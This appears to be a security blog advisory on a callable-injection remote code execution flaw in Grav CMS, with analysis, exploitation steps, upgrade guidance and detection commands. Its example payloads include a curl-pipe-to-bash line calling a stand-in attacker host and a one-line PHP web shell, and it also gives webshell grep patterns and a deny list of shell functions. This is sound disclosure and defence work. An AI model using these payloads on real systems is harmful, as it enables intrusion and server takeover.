Skip to main content
COSMICBYTEZLABS
NewsSecurityHOWTOsToolsTraining
StudyProjectsNewsletterHire MeAbout
Subscribe

Press Enter to search or Esc to close

News
Security
HOWTOs
Tools
Training
Study
Projects
Newsletter
Hire Me
About
RSS Feed
Reading List
Subscribe

Stay in the Loop

Get the latest security alerts, tutorials, and tech insights delivered to your inbox.

Subscribe NowFree forever. No spam.
COSMICBYTEZLABS

Your trusted source for IT intelligence, cybersecurity insights, and hands-on technical guides.

2004+ Articles
153+ Guides

CONTENT

  • Latest News
  • Security Alerts
  • HOWTOs
  • Checklists
  • Projects
  • Exam Prep

RESOURCES

  • Search
  • Browse Tags
  • Newsletter Archive
  • Reading List
  • RSS Feed

COMPANY

  • About Us
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CosmicBytez Labs. All rights reserved.

System Status: Operational
  1. Home
  2. Security
  3. CVE-2026-65008: Grav CMS RCE via Uncontrolled Callable in Blueprint::dynamicData()
CVE-2026-65008: Grav CMS RCE via Uncontrolled Callable in Blueprint::dynamicData()

Critical Security Alert

This vulnerability is actively being exploited. Immediate action is recommended.

SECURITYCRITICALCVE-2026-65008

CVE-2026-65008: Grav CMS RCE via Uncontrolled Callable in Blueprint::dynamicData()

Grav CMS 2.0.4 contains a critical remote code execution vulnerability where Blueprint::dynamicData() passes attacker-controlled callable strings directly to call_user_func_array() without an allowlist. CVSS 9.8 — upgrade to 2.0.7.

Dylan H.

Security Team

July 22, 2026
5 min read

Affected Products

  • Grav CMS 2.0.4 (fixed in 2.0.7)

Executive Summary

A critical remote code execution vulnerability (CVE-2026-65008) has been disclosed in Grav CMS versions up to and including 2.0.4. The vulnerability carries a CVSS score of 9.8 and exists in Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), which passes a Class::method callable string and its arguments directly to call_user_func_array() without any allowlist validation. When combined with the form plugin's routing capabilities, an attacker can invoke arbitrary PHP callables — achieving full remote code execution on the server.

CVSS Score: 9.8 (Critical)

The fix is available in Grav CMS 2.0.7.


Vulnerability Overview

AttributeValue
CVE IDCVE-2026-65008
CVSS Score9.8 (Critical)
TypeRemote Code Execution / Uncontrolled Callable (CWE-77)
Attack VectorNetwork
Privileges RequiredNone (exploitable via form plugin routes)
User InteractionNone
ScopeChanged
Affected Filesystem/src/Grav/Common/Data/Blueprint.php

Affected Versions

ComponentAffected VersionsFixed Version
Grav CMS<= 2.0.42.0.7

Technical Analysis

Blueprint::dynamicData() is a Grav internal method for processing dynamic form blueprint data. The method receives a callable specification in Class::method string format along with arguments, and invokes it using PHP's call_user_func_array().

The critical flaw: no allowlist is applied to the callable string before execution. The form plugin routes user-supplied form data into the blueprint processing pipeline, meaning an attacker can craft a form submission that injects an arbitrary Class::method callable — which Grav then executes server-side without restriction.

// Vulnerable pattern (simplified pseudocode)
// Blueprint::dynamicData() in Blueprint.php
$callable = $data['callable'];  // Attacker-controlled
$args = $data['args'];          // Attacker-controlled
call_user_func_array($callable, $args);  // No allowlist!

This is a classic PHP callable injection pattern. Any PHP function, static method, or built-in can be invoked:

Exploit Scenarios:
- system('curl attacker.com/shell.sh | bash')
- exec('id > /var/www/html/proof.txt')
- file_put_contents('/var/www/html/shell.php', '<?php system($_GET["c"]); ?>')
- Phar deserialization gadget chains via phar:// wrappers

Exploitation Path

1. Attacker identifies Grav CMS site with forms enabled (common default)
2. Attacker crafts a malicious form submission targeting a blueprint-processed field
3. Form plugin routes submission to Blueprint::dynamicData()
4. dynamicData() calls call_user_func_array() with attacker-supplied callable
5. Arbitrary PHP function executes on the server
6. Full RCE — file write, command execution, data exfiltration

Immediate Remediation

Step 1: Upgrade Grav CMS to 2.0.7

# Via Grav CLI (recommended)
bin/gpm self-upgrade
 
# Or download and apply the release package
# from https://getgrav.org/downloads

Verify the installed version:

bin/grav version

Step 2: Verify the Patch

The fix in 2.0.7 adds a callable allowlist to Blueprint::dynamicData(). Confirm the patch is in place:

grep -n "allowlist\|whitelist\|allowed_callables" system/src/Grav/Common/Data/Blueprint.php

Step 3: Scan for Evidence of Compromise

# Look for recently created PHP files in web-accessible paths
find /path/to/grav -name "*.php" -newer /path/to/grav/index.php -not -path "*/cache/*"
 
# Check for webshell patterns
grep -rl "system\s*(\|exec\s*(\|passthru\s*(" /path/to/grav/user/
grep -rl "base64_decode\s*(" /path/to/grav/user/
 
# Review form submissions in access logs
grep "POST.*form" /var/log/nginx/access.log | grep -v "your_trusted_ips"

If Immediate Upgrade Is Not Possible

  1. Disable the form plugin: bin/gpm disable form
  2. Block POST requests to / and /admin from external IPs via WAF or nginx rules
  3. Set PHP disable_functions to restrict dangerous built-ins:
    ; php.ini
    disable_functions = exec,passthru,shell_exec,system,proc_open,popen
  4. Enable open_basedir restriction to limit file access scope

Detection Indicators

IndicatorDescription
Unexpected .php files in /user/ directoryWebshell deployment
POST requests with unusual form field namesExploitation attempts
Outbound connections from web server processPost-exploitation callback
Processes spawned from PHP/nginx/apacheCommand execution (e.g., system() call)
Modified files under /system/Attacker establishing persistence

Impact Assessment

A successful exploit gives the attacker the same OS-level access as the web server process user:

ImpactDescription
Arbitrary Command ExecutionRun any OS command as www-data (or equivalent)
Webshell DeploymentPersistent PHP backdoor for ongoing access
Data ExfiltrationRead Grav config, user credentials, site content
Lateral MovementPivot to other services accessible from the server
DefacementModify or delete site content
Ransomware StagingEncrypt or exfiltrate all site data

Post-Remediation Checklist

  1. Confirm Grav 2.0.7+ is running (bin/grav version)
  2. Scan for webshells and unauthorized PHP files in web-accessible directories
  3. Rotate all Grav admin credentials and API keys
  4. Review form configurations — remove any unnecessary dynamic blueprint usage
  5. Check server processes and cron jobs for attacker-added persistence
  6. Audit web server logs for historical exploitation attempts
  7. Re-enable hardened PHP settings (disable_functions, open_basedir)
  8. Deploy a WAF rule to detect PHP callable injection patterns in form submissions

References

  • NVD — CVE-2026-65008
  • Grav CMS — Download & Releases
  • OWASP — Code Injection
  • PHP — call_user_func_array Security Considerations

Related Reading

  • CVE-2026-65007: Grav API Plugin Broken Authorization Allows API Key Takeover
  • CVE-2026-64606: Apache Fury Critical Deserialization Flaw (CVSS 9.8)
  • CVE-2026-62415: Joomla Membership Pro Unauthenticated File Upload (CVSS 9.1)
#Grav#CMS#RCE#CVE-2026-65008#PHP#NVD

Related Articles

CVE-2026-65007: Grav API Plugin Broken Authorization Allows API Key Takeover

The Grav CMS API plugin before version 1.0.8 fails to properly authorize API key generation and revocation, allowing low-privilege users to generate admin API keys. CVSS 9.6 — upgrade immediately.

4 min read

CVE-2026-15488: Unrestricted File Upload in shiroiAdmin Enables Remote Code Execution

A high-severity unrestricted file upload vulnerability in shiroiAdmin versions 1.1 and 1.3 allows unauthenticated remote attackers to upload PHP webshells...

4 min read

Typecho 1.3.0 Pingback SSRF via X-Pingback Manipulation

A CVSS 7.3 server-side request forgery vulnerability in Typecho up to 1.3.0 allows attackers to manipulate the X-Pingback/link argument in Service.php to...

6 min read
Back to all Security Alerts